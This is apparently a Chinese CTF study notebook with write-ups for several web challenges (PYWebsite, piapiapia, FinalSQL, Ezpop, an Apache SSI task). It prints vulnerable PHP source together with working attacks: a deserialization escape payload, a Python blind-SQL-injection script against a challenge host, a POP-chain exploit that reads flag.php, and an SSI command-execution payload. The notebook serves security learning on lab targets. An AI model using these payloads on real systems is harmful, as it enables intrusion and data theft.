[MRCTF2020]PYWebsite
查看源码
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}
}
输入的validate code的md5值要==0cd4da0223c0b280829dc3ea458d655c
解密你就输了
看看/flag.php
你可是黑阔鸭 IP呀 伪造呀
[0CTF 2016]piapiapia
-
源码泄露
dirsearch扫描不出,dirmap可以
-
代码审计
弱项
先审计index.php
<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
用户名和密码长度不得超过3,怪不得sql注入一直invalid
观察到session和重定向profile.php,初步判断可能是session反序列化,然而并不是,只是正常的反序列化
审计profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
观察到很重要的函数unserialize
,
其实当时拿到源码判断session反序列化的时候就应该全局搜索unserialize
观察到file_get_contents()
,反序列化结束和利用的标志,如果我们把$profile[‘photo’]
替换为config.php,则可以利用文件内容读取 config.php
中的$flag,
之前全局搜索flag审计到的config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
重定向update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
传四个参数,phone,email,nickname,以及photo。
进行正则表达式的过滤,赋予到$profile
变量中。
然后这里很重要的整理思路是,反序列化入口是nickname,我们利用nickname带入数据,进而带入profile,最后反序列化利用
观察到serialize
函数,update_profile()
函数,跟进
跟进到的class.php
- 反序列化字符逃逸
审计class.php
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
update_profile()
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
filter过滤(利用点)
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
利用where替换hacker五个字符逃逸出34个";}s:5:"photo";s:10:"config.php";}
字符
使其从nickname逃逸到photo,从nickname逃逸出,"};将前面的nickname数组闭合之后,剩下的s:5:“photo”;s:10:“config.php”;}就会被当作photo的部分了,至于后面的upload,由于被后面";}结束反序列化,也就被丢弃,这样就实现了config.php的读取
同时由于对nickname的长度限制,用数组绕过
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
抓包单独修改nickname为nickname[]
,改值
base解码获得config.php,flag在其中
所以具体步骤:
注册账户
登录账户
随意提交一些资料抓包
修改nickname为nickname[],数组绕过长度检测
修改nickname中的内容
[极客大挑战 2019]FinalSQL
重点肯定是在新功能上,而不是登录框,点击选择2,标签和id就已经提示这是注入页面
盲注学习
- 异或
1^1=0
0^0=0
1^1^1=1
构造
1^(1=1)^1
尝试一下,?id=1^(1=1)^1,回显正常
Click
字符可作标志
1^(1=1)^1
"1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))=%d)^1"%(i,mid)
i,mid是循环参数 对应%d %d
ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))=%d
从第i个字符取,匹配ascii码,匹配成功则返回1
- 二分法
思想:
code:
for i in range(1,300):
low = 32;
high = 127;
mid = (low+high)//2;
while(low < high:
payload%(i,mid);
res1 = requests.get(url=payload)); //匹配成功
res2 = requests.get(url=payload)); //实际字符<匹配字符
res3 = requests.get(url=payload)); //实际字符>匹配字符
if 'Click' in res1.text:
flag+=chr(i)
print flag
break
if 'Click' in res2.text:
high=mid-1 //匹配字符缩小到左边范围
if 'Click' in res2.text:
low=mid+1 //匹配字符增大到右边范围
这里和常规的二分找数思想不太一样的是,有序排列的是可见ascii码范围,匹配成功的时候也就是找到数字的时候
非常值得学习的payload:
import requests
import re
import string
s = requests.session()
url = "http://1df680f4-abaa-4be5-aa84-88365c38caf0.node4.buuoj.cn:81/search.php"
table = ""
# 关于二分法的算法:https://blog.csdn.net/u012194956/article/details/79103843
for i in range(1, 300):
print(i)
low = 32
high = 128
while(low <= high):
mid = (low + high)//2
# 爆库名
# 1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>1)^1
'''
payload11 = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))=%d)^1"%(i,mid)
payload12 = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))<%d)^1"%(i,mid)
payload13 = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,mid)
'''
# 爆表名
#payload2 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))=%d)^1"%(i,mid)
'''
payload11 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))=%d)^1"%(i,mid)
payload12 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))<%d)^1"%(i,mid)
payload13 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,mid)
'''
# 爆字段名
#payload3 = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))=%d)^1"%(i,mid)
'''
payload11 = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))=%d)^1"%(i,mid)
payload12 = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))<%d)^1"%(i,mid)
payload13 = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,mid)
'''
# 爆字段值
#payload4 = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))=%d)^1"%(i,mid)
payload11 = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))=%d)^1" % (
i, mid)
payload12 = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (
i, mid)
payload13 = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (
i, mid)
ra11 = s.get(url=url + "?id=" + payload11).text
ra12 = s.get(url=url + "?id=" + payload12).text
ra13 = s.get(url=url + "?id=" + payload13).text
if 'Click' in ra11:
table += chr(mid)
print(table)
break
if 'Click' in ra12:
#print ("'low='+%d + 'high=' + %d"%(low,high))
high = mid - 1
if "Click" in ra13:
#print ("'low='+%d + 'high=' + %d"%(low,high))
low = mid + 1
很多无用信息,记得调整循环范围
[MRCTF2020]Ezpop
PHP构造pop链时的魔术方法
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发
__invoke() 当脚本尝试将对象调用为函数时触发
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
看到几个可以利用魔术方法,再确认序列化利用类型=>文件包含 include
__wakeup() 将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get() 用于从不可访问的属性读取数据
__toString() 把类当作字符串使用时触发
__invoke() 当脚本尝试将对象调用为函数时触发
pop链逻辑:
-
__wakeup()
this->source = “index.php” source被当做字符串所以调用Show类中的__to string
. -
__toString()
$str=new Test()
,因为Test类中没有source,直接触发__get()
魔术方法 -
__get()
让$p=new Modifier()
,以函数形式调用又能触发__invoke()
魔术方法 -
__invoke()
最后让Modifier类中的var
为我们要读取的flag.php
Show::__wakeup => Show::__toString => Test::__get => Modifier::__invoke
exp:
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str=new Test();
}
}
class Test{
public $p;
public function __construct(){
$this->p=new Modifier();
}
}
$x=new Show();
$x->source = new Show(); // 这一步不太明白,后来加上才是正确的exp
echo urlencode(serialize($x));
有一道 大同小异的题目,做做看
- 源码泄露
源码泄露总是扫描不到,检查发现都是字典问题
复习一下最近遇到的源码泄露
.git
index.php.swp
www.zip
WEB-INF/web.xml
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
其中get_hash()函数限制了password值经过MD5加密后的前六位值等于6d0bc1,然后在public目录下创建shtml文件,并以get_hash()函数返回值作为文件名,将POST方式传入的变量username的值写入文件中。
首先编写Python3脚本,爆破出MD5加密后前六位为6d0bc1的密码:
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:6] == '6d0bc1':
print(i)
print(a)
发现url
- Apache SSI 远程命令执行漏洞复现
SSI:SSI(服务器端包含)是放置在HTML页面中的指令,并在提供页面时在服务器上进行评估。它们允许将动态生成的内容添加到现有HTML页面,而无需通过CGI程序或其他动态技术提供整个页面。
漏洞原理:
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用
语法执行命令。
使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。
payload:
<!--#exec cmd="cat ../f*"-->
题目中username被写入了shtml文件,所以将其值修改为payload
记得访问对应的url和shtml文件